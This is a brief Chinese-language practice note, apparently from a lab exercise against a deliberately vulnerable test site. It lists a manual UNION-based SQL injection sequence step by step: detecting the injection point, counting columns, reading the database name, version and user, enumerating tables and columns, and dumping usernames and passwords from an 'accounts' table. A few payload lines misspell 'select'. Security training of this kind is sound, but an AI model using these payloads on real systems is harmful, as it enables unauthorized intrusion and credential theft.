sql注入练习

sql 注入实操

and 1=1
and 1=2测试注入点

发现注入点 sql注入
order by n 测试列数

测试结果为4

爆库 版本 用户
union selec 1,2,database(),4
union selec 1,2,version(),4
union selec 1,2,user(),4



**表
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘webscantest’ ),3,4

爆字段
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘webscantest’ and table_name=‘accounts’ ),3 ,4

查询内容
union select 1,group_concat(uname,0x3a,passwd),3,4 from webscantest.accounts